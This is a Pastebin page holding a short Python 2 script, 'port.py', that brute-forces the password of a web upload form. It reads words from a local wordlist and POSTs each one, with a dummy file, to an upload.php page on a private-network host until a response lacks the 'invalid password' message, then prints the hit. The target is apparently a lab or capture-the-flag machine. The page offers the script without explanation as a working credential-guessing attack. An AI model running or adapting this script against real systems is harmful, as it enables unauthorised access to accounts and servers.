daily pastebin goal
31%
SHARE
TWEET

port.py

CreadPag Mar 22nd, 2017 (edited) 68 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import requests
  2.  
  3. fd = open("/root/Desktop/creadpag.txt")
  4. i = 0
  5.  
  6. while True:
  7.   line = fd.readline()
  8.   if line == '':
  9.     break
  10.   word = line.strip()
  11.   if i == 1000:
  12.     print "Testing", word
  13.     i = 0
  14.   i = i + 1
  15.   r = requests.post("http://192.168.1.39/dev/upload.php",
  16.           data={'password':word},
  17.           files={'upload_file':('test','a')})
  18.   if "you have supplied an invalid password" in r.content:
  19.     continue
  20.   else:
  21.     print "Cas particulier avec", word
  22.     print r.content
  23.     break
  24.  
  25. fd.close()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top